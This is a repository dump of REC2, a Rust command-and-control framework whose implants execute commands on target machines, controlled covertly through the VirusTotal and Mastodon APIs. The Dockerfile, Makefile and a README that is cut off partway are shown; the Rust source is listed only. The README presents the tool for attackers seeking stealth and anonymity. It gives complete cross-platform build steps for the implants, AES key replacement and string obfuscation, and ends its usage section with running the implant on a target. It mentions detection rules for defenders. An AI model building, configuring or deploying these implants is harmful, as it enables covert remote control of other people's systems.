├── .gitignore
├── Dockerfile
├── LICENSE
├── MASTODON.md
├── Makefile
├── README.md
├── VIRUSTOTAL.md
├── img
├── REC2_logo_v1.png
├── client.jpg
├── schema_rec2.png
└── server.jpg
├── implants
├── mastodon
│ ├── Cargo.toml
│ └── src
│ │ ├── args.rs
│ │ ├── lib.rs
│ │ ├── main.rs
│ │ ├── modules
│ │ ├── common.rs
│ │ ├── mod.rs
│ │ └── rec2mastodon.rs
│ │ └── utils
│ │ ├── common.rs
│ │ ├── crypto.rs
│ │ ├── exec.rs
│ │ ├── mod.rs
│ │ └── target.rs
└── virustotal
│ ├── Cargo.toml
│ └── src
│ ├── args.rs
│ ├── lib.rs
│ ├── main.rs
│ ├── modules
│ ├── common.rs
│ ├── mod.rs
│ └── rec2virustotal.rs
│ └── utils
│ ├── common.rs
│ ├── crypto.rs
│ ├── exec.rs
│ ├── mod.rs
│ └── target.rs
├── server
├── Cargo.toml
└── src
│ ├── args.rs
│ ├── c2
│ ├── jobs.rs
│ ├── mod.rs
│ ├── sessions.rs
│ └── shell.rs
│ ├── lib.rs
│ ├── main.rs
│ ├── modules
│ ├── mod.rs
│ ├── rec2mastodon.rs
│ └── rec2virustotal.rs
│ └── utils
│ ├── common.rs
│ ├── crypto.rs
│ └── mod.rs
└── yara
└── rec2_virustotal_or_mastodon.yar
/.gitignore:
--------------------------------------------------------------------------------
1 | implants/*/target
2 | implants/*/Cargo.lock
3 | server/target
4 | server/Cargo.lock
5 | .vscode/
6 | *.exe
7 | history.txt
8 | /server_*
9 | /c2server*
10 | /rec2*
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM rust:1.72-slim-buster
2 |
3 | WORKDIR /usr/src/rec2
4 |
5 | RUN \
6 | apt-get -y update && \
7 | apt-get -y install gcc clang libclang-dev musl-tools make gcc-mingw-w64-x86-64 pkg-config libudev-dev libssl-dev && \
8 | rm -rf /var/lib/apt/lists/*
9 |
10 | ENTRYPOINT ["make"]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 g0h4n
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/MASTODON.md:
--------------------------------------------------------------------------------
1 | # MASTODON
2 |
3 | [https://docs.joinmastodon.org/api/](https://docs.joinmastodon.org/api/)
4 |
5 | ⚠️ **[API Rate limits](https://docs.joinmastodon.org/api/rate-limits/)**:
6 |
7 | > All endpoints and methods can be called **300 times** within **5 minutes**.
8 |
9 | > Either `DELETE` /api/v1/statuses/:id or `POST` /api/v1/statuses/:id/unreblog can be called **30 times** within **30 minutes**.
10 |
11 |
12 | ⚠️ **Site constraints**:
13 |
14 | > A comment cannot exceed **500 characters**.
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | prog :=rec2
2 | server :=server
3 | implant :=rec2
4 | #LITCRYPT_ENCRYPT_KEY to change
5 | masterkey :=RAMDOMdd28f0dcd9779315ee130deb565dbf315587f1611e54PASSWORD
6 |
7 | cargo := $(shell command -v cargo 2> /dev/null)
8 | cargo_v := $(shell cargo -V| cut -d ' ' -f 2)
9 | rustup := $(shell command -v rustup 2> /dev/null)
10 |
11 | check_cargo:
12 | ifndef cargo
13 | $(error cargo is not available, please install it! curl https://sh.rustup.rs -sSf | sh)
14 | else
15 | @echo "Make sure your cargo version is up to date! Current version is $(cargo_v)"
16 | endif
17 |
18 | check_rustup:
19 | ifndef rustup
20 | $(error rustup is not available, please install it! curl https://sh.rustup.rs -sSf | sh)
21 | endif
22 |
23 | # Deps install
24 |
25 | install_windows_deps: update_rustup
26 | @rustup install stable-x86_64-pc-windows-gnu --force-non-host
27 | @rustup target add x86_64-pc-windows-gnu
28 | @rustup install stable-i686-pc-windows-gnu --force-non-host
29 | @rustup target add i686-pc-windows-gnu
30 |
31 | install_macos_deps:
32 | @sudo git clone https://github.com/tpoechtrager/osxcross /usr/local/bin/osxcross || exit
33 | @sudo wget -P /usr/local/bin/osxcross/ -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && sudo mv /usr/local/bin/osxcross/MacOSX10.10.sdk.tar.xz /usr/local/bin/osxcross/tarballs/
34 | @sudo UNATTENDED=yes OSX_VERSION_MIN=10.7 /usr/local/bin/osxcross/build.sh
35 | @sudo chmod 775 /usr/local/bin/osxcross/ -R
36 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
37 | @grep 'target.x86_64-apple-darwin' ~/.cargo/config || echo "[target.x86_64-apple-darwin]" >> ~/.cargo/config
38 | @grep 'linker = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'linker = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
39 | @grep 'ar = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'ar = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
40 |
41 | install_linux_deps:update_rustup
42 | @rustup install stable-x86_64-unknown-linux-gnu --force-non-host
43 | @rustup target add x86_64-unknown-linux-gnu
44 |
45 | install_cross:
46 | @cargo install --version 0.1.16 cross
47 |
48 | update_rustup:
49 | rustup update
50 |
51 | # Cleaning
52 |
53 | clean:
54 | sudo rm -rf server/target implants/*/target
55 |
56 | # Makefile for C2 server
57 |
58 | c2server_release: check_cargo
59 | cargo build --release --manifest-path server/Cargo.toml
60 | cp server/target/release/$(server) ./$(server)_release
61 | @echo -e "[+] You can find \033[1;32m$(server)_release\033[0m release version in your current folder."
62 |
63 | c2server_debug: check_cargo
64 | cargo build --manifest-path server/Cargo.toml
65 | cp server/target/debug/$(server) ./$(server)_debug
66 | @echo -e "[+] You can find \033[1;32m$(server)_debug\033[0m debug version in your current folder."
67 |
68 | c2server_doc: check_cargo
69 | cargo doc --open --no-deps --manifest-path server/Cargo.toml
70 |
71 | c2server_build_windows_x64:
72 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path server/Cargo.toml
73 | cp server/target/x86_64-pc-windows-gnu/release/$(server).exe ./$(server)_x64.exe
74 | @echo -e "[+] You can find \033[1;32m$(server)_x64.exe\033[0m in your current folder."
75 |
76 | c2server_build_windows_x86:
77 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path server/Cargo.toml
78 | cp server/target/i686-pc-windows-gnu/release/$(server).exe ./$(server)_x86.exe
79 | @echo -e "[+] You can find \033[1;32m$(server)_x86.exe\033[0m in your current folder."
80 |
81 | c2server_windows: check_rustup install_windows_deps c2server_build_windows_x64
82 |
83 | c2server_windows_x64: check_rustup install_windows_deps c2server_build_windows_x64
84 |
85 | c2server_windows_x86: check_rustup install_windows_deps c2server_build_windows_x86
86 |
87 | c2server_build_linux_aarch64:
88 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path server/Cargo.toml
89 | cp server/target/aarch64-unknown-linux-gnu/release/$(server) ./$(server)_aarch64
90 | @echo -e "[+] You can find \033[1;32m$(server)_aarch64\033[0m in your current folder."
91 |
92 | c2server_linux_aarch64: check_rustup install_cross c2server_build_linux_aarch64
93 |
94 | c2server_build_linux_x86_64:
95 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path server/Cargo.toml
96 | cp server/target/x86_64-unknown-linux-gnu/release/$(server) ./$(server)_x86_64
97 | @echo -e "[+] You can find \033[1;32m$(server)_x86_64\033[0m in your current folder."
98 |
99 | c2server_linux_x86_64: check_rustup install_linux_deps c2server_build_linux_x86_64
100 |
101 | c2server_linux: check_rustup install_linux_deps c2server_build_linux_x86_64
102 |
103 | c2server_build_macos:
104 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
105 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path server/Cargo.toml
106 | cp server/target/x86_64-apple-darwin/release/$(server) ./$(server)_macOS
107 | @echo -e "[+] You can find \033[1;32m$(server)_macOS\033[0m in your current folder."
108 |
109 | c2server_macos: check_rustup install_cross install_macos_deps c2server_build_macos
110 |
111 | c2server_arm_musl: check_rustup install_cross
112 | cross build --target arm-unknown-linux-musleabi --release
113 | cp server/target/arm-unknown-linux-musleabi/release/$(server) ./$(server)_arm_musl
114 | @echo -e "[+] You can find \033[1;32m$(server)_arm_musl\033[0m in your current folder."
115 |
116 | c2server_armv7: check_rustup install_cross
117 | cross build --target armv7-unknown-linux-gnueabihf --release
118 | cp server/target/armv7-unknown-linux-gnueabihf/release/$(server) ./$(server)_armv7
119 | @echo -e "[+] You can find \033[1;32m$(server)_armv7\033[0m in your current folder."
120 |
121 | # Makefile for Mastodon implant
122 |
123 | mastodon_release: check_cargo
124 | cargo build --release --manifest-path implants/mastodon/Cargo.toml
125 | cp implants/mastodon/target/release/$(prog) ./$(prog)_mastodon_release
126 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_release\033[0m release version in your current folder."
127 |
128 | mastodon_debug: check_cargo
129 | cargo build --manifest-path implants/mastodon/Cargo.toml
130 | cp implants/mastodon/target/debug/$(prog) ./$(prog)_mastodon_debug
131 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_debug\033[0m debug version in your current folder."
132 |
133 | mastodon_doc: check_cargo
134 | cargo doc --open --no-deps --manifest-path implants/mastodon/Cargo.toml
135 |
136 | mastodon_build_windows_x64:
137 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml
138 | cp implants/mastodon/target/x86_64-pc-windows-gnu/release/$(prog).exe ./$(prog)_mastodon_x64.exe
139 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x64.exe\033[0m in your current folder."
140 |
141 | mastodon_build_windows_x86:
142 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml
143 | cp implants/mastodon/target/i686-pc-windows-gnu/release/$(prog).exe ./$(prog)_mastodon_x86.exe
144 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x86.exe\033[0m in your current folder."
145 |
146 | mastodon_windows: check_rustup install_windows_deps replace_key mastodon_build_windows_x64 gen_key
147 |
148 | mastodon_windows_x64: check_rustup install_windows_deps replace_key mastodon_build_windows_x64 gen_key
149 |
150 | mastodon_windows_x86: check_rustup install_windows_deps replace_key mastodon_build_windows_x86 gen_key
151 |
152 | mastodon_build_linux_aarch64:
153 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path implants/mastodon/Cargo.toml
154 | cp implants/mastodon/target/aarch64-unknown-linux-gnu/release/$(prog) ./$(prog)_mastodon_aarch64
155 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_aarch64\033[0m in your current folder."
156 |
157 | mastodon_linux_aarch64: check_rustup install_cross replace_key mastodon_build_linux_aarch64 gen_key
158 |
159 | mastodon_build_linux_x86_64:
160 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/mastodon/Cargo.toml
161 | cp implants/mastodon/target/x86_64-unknown-linux-gnu/release/$(prog) ./$(prog)_mastodon_x86_64
162 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_x86_64\033[0m in your current folder."
163 |
164 | mastodon_linux: check_rustup install_linux_deps replace_key mastodon_build_linux_x86_64 gen_key
165 |
166 | mastodon_linux_x86_64: check_rustup install_linux_deps replace_key mastodon_build_linux_x86_64 gen_key
167 |
168 |
169 | mastodon_build_macos:
170 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
171 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/mastodon/Cargo.toml
172 | cp implants/mastodon/target/x86_64-apple-darwin/release/$(prog) ./$(prog)_mastodon_macOS
173 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_macOS\033[0m in your current folder."
174 |
175 | mastodon_macos: replace_key mastodon_build_macos install_macos_deps gen_key
176 |
177 | mastodon_arm_musl: check_rustup install_cross
178 | cross build --target arm-unknown-linux-musleabi --release
179 | cp implants/mastodon/target/arm-unknown-linux-musleabi/release/$(prog) ./$(prog)_mastodon_arm_musl
180 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_arm_musl\033[0m in your current folder."
181 |
182 | mastodon_armv7: check_rustup install_cross
183 | cross build --target armv7-unknown-linux-gnueabihf --release
184 | cp implants/mastodon/target/armv7-unknown-linux-gnueabihf/release/$(prog) ./$(prog)_mastodon_armv7
185 | @echo -e "[+] You can find \033[1;32m$(prog)_mastodon_armv7\033[0m in your current folder."
186 |
187 | # Makefile for Virustotal implant
188 |
189 | virustotal_release: check_cargo
190 | cargo build --release --manifest-path implants/virustotal/Cargo.toml
191 | cp implants/virustotal/target/release/$(prog) ./$(prog)_virustotal_release
192 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_release\033[0m release version in your current folder."
193 |
194 | virustotal_debug: check_cargo
195 | cargo build --manifest-path implants/virustotal/Cargo.toml
196 | cp implants/virustotal/target/debug/$(prog) ./$(prog)_virustotal_debug
197 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_debug\033[0m debug version in your current folder."
198 |
199 | virustotal_doc: check_cargo
200 | cargo doc --open --no-deps --manifest-path implants/virustotal/Cargo.toml
201 |
202 | virustotal_build_windows_x64:
203 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml
204 | cp implants/virustotal/target/x86_64-pc-windows-gnu/release/$(prog).exe ./$(prog)_virustotal_x64.exe
205 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x64.exe\033[0m in your current folder."
206 |
207 | virustotal_build_windows_x86:
208 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target i686-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml
209 | cp implants/virustotal/target/i686-pc-windows-gnu/release/$(prog).exe ./$(prog)_virustotal_x86.exe
210 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x86.exe\033[0m in your current folder."
211 |
212 | virustotal_windows: check_rustup install_windows_deps replace_key virustotal_build_windows_x64 gen_key
213 |
214 | virustotal_windows_x64: check_rustup install_windows_deps replace_key virustotal_build_windows_x64 gen_key
215 |
216 | virustotal_windows_x86: check_rustup install_windows_deps replace_key virustotal_build_windows_x86 gen_key
217 |
218 | virustotal_build_linux_aarch64:
219 | cross build --target aarch64-unknown-linux-gnu --release --manifest-path implants/virustotal/Cargo.toml
220 | cp implants/virustotal/target/aarch64-unknown-linux-gnu/release/$(prog) ./$(prog)_virustotal_aarch64
221 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_aarch64\033[0m in your current folder."
222 |
223 | virustotal_linux_aarch64: check_rustup install_cross replace_key virustotal_build_linux_aarch64 gen_key
224 |
225 | virustotal_build_linux_x86_64:
226 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/virustotal/Cargo.toml
227 | cp implants/virustotal/target/x86_64-unknown-linux-gnu/release/$(prog) ./$(prog)_virustotal_x86_64
228 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_x86_64\033[0m in your current folder."
229 |
230 | virustotal_linux_x86_64: check_rustup install_linux_deps replace_key virustotal_build_linux_x86_64 gen_key
231 |
232 | virustotal_linux: check_rustup install_linux_deps replace_key virustotal_build_linux_x86_64 gen_key
233 |
234 | virustotal_build_macos:
235 | @export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
236 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/virustotal/Cargo.toml
237 | cp implants/virustotal/target/x86_64-apple-darwin/release/$(prog) ./$(prog)_virustotal_macOS
238 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_macOS\033[0m in your current folder."
239 |
240 | virustotal_macos: check_rustup install_cross install_macos_deps replace_key virustotal_build_macos gen_key
241 |
242 | virustotal_arm_musl: check_rustup install_cross
243 | cross build --target arm-unknown-linux-musleabi --release
244 | cp implants/virustotal/target/arm-unknown-linux-musleabi/release/$(prog) ./$(prog)_virustotal_arm_musl
245 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_arm_musl\033[0m in your current folder."
246 |
247 | virustotal_armv7: check_rustup install_cross
248 | cross build --target armv7-unknown-linux-gnueabihf --release
249 | cp implants/virustotal/target/armv7-unknown-linux-gnueabihf/release/$(prog) ./$(prog)_virustotal_armv7
250 | @echo -e "[+] You can find \033[1;32m$(prog)_virustotal_armv7\033[0m in your current folder."
251 |
252 | # Keys
253 |
254 | export KEY:=$(shell echo `tr -dc A-Za-z0-9 < /dev/urandom | head -c 64`)
255 | export LITCRYPT_ENCRYPT_KEY:=$(shell echo `tr -dc A-Za-z0-9 < /dev/urandom | head -c 64`)
256 |
257 | gen_key:
258 | @echo -e "[+] AES key to use for C2 server: \033[1;32m$$KEY\033[0m"
259 |
260 | replace_key: gen_key
261 | sed -i -E "s/let key = (lc\!\(\"[a-zA-Z0-9]{64})/let key = lc\!\(\"$$KEY/" implants/mastodon/src/main.rs
262 | sed -i -E "s/let key = (lc\!\(\"[a-zA-Z0-9]{64})/let key = lc\!\(\"$$KEY/" implants/virustotal/src/main.rs
263 |
264 | # Makefile help
265 |
266 | help:
267 | @echo ""
268 | @echo "REC2 Server:"
269 | @echo "usage: make c2server_debug"
270 | @echo "usage: make c2server_release"
271 | @echo "usage: make c2server_windows"
272 | @echo "usage: make c2server_windows_x64"
273 | @echo "usage: make c2server_windows_x86"
274 | @echo "usage: make c2server_linux"
275 | @echo "usage: make c2server_linux_aarch64"
276 | @echo "usage: make c2server_linux_x86_64"
277 | @echo "usage: make c2server_macos"
278 | @echo "usage: make c2server_arm_musl"
279 | @echo "usage: make c2server_armv7"
280 | @echo ""
281 | @echo "VirusTotal implant:"
282 | @echo "usage: make virustotal_debug"
283 | @echo "usage: make virustotal_release"
284 | @echo "usage: make virustotal_windows"
285 | @echo "usage: make virustotal_windows_x64"
286 | @echo "usage: make virustotal_windows_x86"
287 | @echo "usage: make virustotal_linux"
288 | @echo "usage: make virustotal_linux_aarch64"
289 | @echo "usage: make virustotal_linux_x86_64"
290 | @echo "usage: make virustotal_macos"
291 | @echo "usage: make virustotal_arm_musl"
292 | @echo "usage: make virustotal_armv7"
293 | @echo ""
294 | @echo "Mastodon implant:"
295 | @echo "usage: make mastodon_debug"
296 | @echo "usage: make mastodon_release"
297 | @echo "usage: make mastodon_windows"
298 | @echo "usage: make mastodon_windows_x64"
299 | @echo "usage: make mastodon_windows_x86"$
300 | @echo "usage: make mastodon_linux"
301 | @echo "usage: make mastodon_linux_aarch64"
302 | @echo "usage: make mastodon_linux_x86_64"
303 | @echo "usage: make mastodon_macos"
304 | @echo "usage: make mastodon_arm_musl"
305 | @echo "usage: make mastodon_armv7"
306 | @echo ""
307 | @echo "Dependencies:"
308 | @echo "usage: make install_windows_deps"
309 | @echo "usage: make install_macos_deps"
310 | @echo ""
311 | @echo "Documentation:"
312 | @echo "usage: make c2server_doc"
313 | @echo "usage: make virustotal_doc"
314 | @echo "usage: make mastodon_doc"
315 | @echo ""
316 | @echo "Cleaning:"
317 | @echo "usage: make clean"
318 | @echo ""
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | > :shipit: **Information:** REC2 is an old personal project (*early 2023*) that I didn't continue development on. It's part of a list of projects that helped me to learn Rust. The code is probably considered obsolete and not in its best form. Maybe I'll pick up where I left off [#roadmap](#vertical_traffic_light-roadmap). However, **REC2 is fully functional** and allow to execute commands on a Linux / macOS or Windows target **from the VirusTotal and Mastodon APIs**.
2 |
3 | # REC2 (Rusty External C2)
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | > ⚠️ **Disclaimer**:
18 | > REC2 is for educational purposes only. Use this at your own discretion, I cannot be held responsible for any damages caused.
19 | > Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. I assume no liability and are not responsible for any misuse or damage caused by this tool.
20 |
21 | :red_circle: **Redteamer**: I share with you a beta version of one of my external C2 using virustotal and mastodon
22 |
23 | :large_blue_circle: **Blueteamer**: You can find an example of yara rules for REC2 implants in this same repo
24 |
25 |
26 | # :abacus: Summary
27 |
28 | - [Description](#label-description)
29 | - [Usage and Demo](#tv-usage-and-demo)
30 | - [How to compile it?](#tractor-how-to-compile-it)
31 | - [Using Makefile](#using-makefile)
32 | - [Using Dockerfile](#using-dockerfile)
33 | - [Roadmap](#vertical_traffic_light-roadmap)
34 | - [Links](#link-links)
35 |
36 |
37 | # :label: Description
38 |
39 | `REC2`, or **R**usty **E**xternal **C**ommand and **C**ontrol, is a versatile Command and Control (C2) tool developed in the Rust programming language. It provides a discreet and effective means to manage remote implants (clients) on macOS, Linux, and Windows systems. REC2 utilizes third-party APIs like `VirusTotal` or `Mastodon` to transmit encrypted messages using AES between the server and implants, allowing attackers to operate stealthily through these external channels. Implants can monitor pending jobs, retrieve, decrypt, execute tasks on the target system, and securely transmit results back via the same APIs. Using these APIs as intermediaries adds an extra layer of anonymization, reducing the ease of tracing back to the attacker.
40 |
41 |
42 |
43 |
44 |
45 | # :tv: Usage and Demo
46 |
47 |
48 |
49 | Change some values in **implants/(mastodon,virustotal)/src/main.rs** :
50 |
51 | ```rust
52 | // (MASTODON or VIRUSTOTAL) TOKEN
53 | //
54 | //
55 | let token = lc!("TOKEN").to_owned();
56 | // (MASTODON or VIRUSTOTAL) FULL URL
57 | //let full_url = lc!("https://mastodon.xx/@username/100123451234512345").to_owned();
58 | let full_url = lc!("https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d").to_owned();
59 | ```
60 |
61 | Make **Windows x64 implant** static binary:
62 |
63 | ```bash
64 | make virustotal_windows
65 | make mastodon_windows
66 | ```
67 |
68 | You can find (**rec2_virustotal_x64.exe** or **rec2_mastodon_x64.exe**) in your current directory.
69 |
70 | **And to finish**, compile the **server** binary:
71 |
72 | ```bash
73 | make c2server_release
74 | ./server_release -h
75 | ./server_release VirusTotal -h
76 | ./server_release Mastodon -h
77 |
78 | # Example
79 | ./server_release VirusTotal --url --token --key
80 | ```
81 |
82 | Now you just need to execute implant in your target.
83 |
84 | # :tractor: How to compile it?
85 |
86 | ## Using Makefile
87 |
88 | You can use the **make** command to compile it for Linux, Windows or mac0S.
89 |
90 | More command in the **Makefile**:
91 |
92 | ```bash
93 | REC2 Server:
94 | usage: make c2server_debug
95 | usage: make c2server_release
96 | usage: make c2server_windows
97 | usage: make c2server_windows_x64
98 | usage: make c2server_windows_x86
99 | usage: make c2server_linux
100 | usage: make c2server_linux_aarch64
101 | usage: make c2server_linux_x86_64
102 | usage: make c2server_macos
103 | usage: make c2server_arm_musl
104 | usage: make c2server_armv7
105 |
106 | VirusTotal implant:
107 | usage: make virustotal_debug
108 | usage: make virustotal_release
109 | usage: make virustotal_windows
110 | usage: make virustotal_windows_x64
111 | usage: make virustotal_windows_x86
112 | usage: make virustotal_linux
113 | usage: make virustotal_linux_aarch64
114 | usage: make virustotal_linux_x86_64
115 | usage: make virustotal_macos
116 | usage: make virustotal_arm_musl
117 | usage: make virustotal_armv7
118 |
119 | Mastodon implant:
120 | usage: make mastodon_debug
121 | usage: make mastodon_release
122 | usage: make mastodon_windows
123 | usage: make mastodon_windows_x64
124 | usage: make mastodon_windows_x86
125 | usage: make mastodon_linux
126 | usage: make mastodon_linux_aarch64
127 | usage: make mastodon_linux_x86_64
128 | usage: make mastodon_macos
129 | usage: make mastodon_arm_musl
130 | usage: make mastodon_armv7
131 |
132 | Dependencies:
133 | usage: make install_windows_deps
134 | usage: make install_macos_deps
135 |
136 | Documentation:
137 | usage: make c2server_doc
138 | usage: make virustotal_doc
139 | usage: make mastodon_doc
140 |
141 | Cleaning:
142 | usage: make clean
143 | ```
144 |
145 |
146 | ## Using Dockerfile
147 |
148 | Build REC2 with docker to make sure to have all dependencies.
149 |
150 | ```bash
151 | docker build --rm -t rec2 .
152 |
153 | # Then to build C2 server:
154 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_windows
155 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_linux
156 | docker run --rm -v ./:/usr/src/rec2 rec2 c2server_macos
157 |
158 |
159 | # Then to build VirusTotal implant:
160 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_windows
161 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_linux
162 | docker run --rm -v ./:/usr/src/rec2 rec2 virustotal_macos
163 |
164 | # Then to build Mastodon implant:
165 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_windows
166 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_linux
167 | docker run --rm -v ./:/usr/src/rec2 rec2 mastodon_macos
168 | ```
169 |
170 | SHOW MORE
171 |
172 | ## Using Cargo
173 |
174 | You will need to install Rust on your system.
175 |
176 | [https://www.rust-lang.org/fr/tools/install](https://www.rust-lang.org/fr/tools/install)
177 |
178 | > :warining: You need to export ```LITCRYPT_ENCRYPT_KEY``` variable in your terminal before to compile it. (for implants strings obfuscation)
179 |
180 | ```bash
181 | export LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
182 | LITCRYPT_ENCRYPT_KEY="MYSUPERPASSWORD1234567890"
183 | ```
184 |
185 | > :warining: You need to change AESKEY in **implants/(virustotal,mastodon)/main.rs** and to change URL and TOKEN.
186 |
187 | Here is how to compile the "**release**" and "**debug**" versions using the **cargo** command.
188 |
189 | ```bash
190 | git clone https://github.com/g0h4n/REC2
191 | cd REC2
192 |
193 | # Implants
194 | # choise your implant Mastodon or VirusTotal
195 |
196 | # implants/mastodon/Cargo.toml
197 | # release version
198 | cargo build --release --manifest --manifest-path implants/mastodon/Cargo.toml
199 | # or debug version
200 | cargo b --manifest-path implants/mastodon/Cargo.toml
201 |
202 | # implants/virustotal/Cargo.toml
203 | # release version
204 | cargo build --release --manifest --manifest-path implants/virustotal/Cargo.toml
205 | # or debug version
206 | cargo b --manifest-path implants/virustotal/Cargo.toml
207 |
208 | # Server
209 | cargo build --release --manifest --manifest-path server/Cargo.toml
210 | # or debug version
211 | cargo b --manifest-path server/Cargo.toml
212 | ```
213 |
214 | The **Implants** result can be found in the **implants/(mastodon,virustotal)/target/release** or in the **implants/(mastodon,virustotal)/target/debug** folder. The **server** result can be found in the **server/target/release** or in the **server/target/debug** folder.
215 |
216 | Below you can find the compilation methodology for each of the OS from Linux.
217 | If you need another compilation system, please consult the list in this link: [https://doc.rust-lang.org/nightly/rustc/platform-support.html](https://doc.rust-lang.org/nightly/rustc/platform-support.html)
218 |
219 |
220 | ## Manually for Linux x86_64 static version
221 |
222 | ```bash
223 | # Install rustup and Cargo for Linux
224 | curl https://sh.rustup.rs -sSf | sh
225 |
226 | # Add Linux deps
227 | rustup install stable-x86_64-unknown-linux-gnu
228 | rustup target add x86_64-unknown-linux-gnu
229 |
230 | # Static compilation for Linux
231 | git clone https://github.com/g0h4n/REC2
232 | cd REC2
233 |
234 | # Implants
235 | # choise your implant Mastodon or VirusTotal
236 |
237 | # implants/mastodon/Cargo.toml
238 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/mastodon/Cargo.toml
239 |
240 | # implants/virustotal/Cargo.toml
241 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path implants/virustotal/Cargo.toml
242 |
243 | # Server
244 | CFLAGS="-lrt";LDFLAGS="-lrt";RUSTFLAGS='-C target-feature=+crt-static';cargo build --release --target x86_64-unknown-linux-gnu --manifest-path server/Cargo.toml
245 | ```
246 |
247 | The result can be found in the **implants/(mastodon,virustotal)/target/x86_64-unknown-linux-gnu/release** or in **server/target/x86_64-unknown-linux-gnu/release** folder.
248 |
249 |
250 | ## Manually for Windows static version from Linux
251 | ```bash
252 | # Install rustup and Cargo in Linux
253 | curl https://sh.rustup.rs -sSf | sh
254 |
255 | # Add Windows deps
256 | rustup install stable-x86_64-pc-windows-gnu
257 | rustup target add x86_64-pc-windows-gnu
258 |
259 | # Static compilation for Windows
260 | git clone https://github.com/g0h4n/REC2
261 | cd REC2
262 |
263 | # Implants
264 | # choise your implant Mastodon or VirusTotal
265 |
266 | # implants/mastodon/Cargo.toml
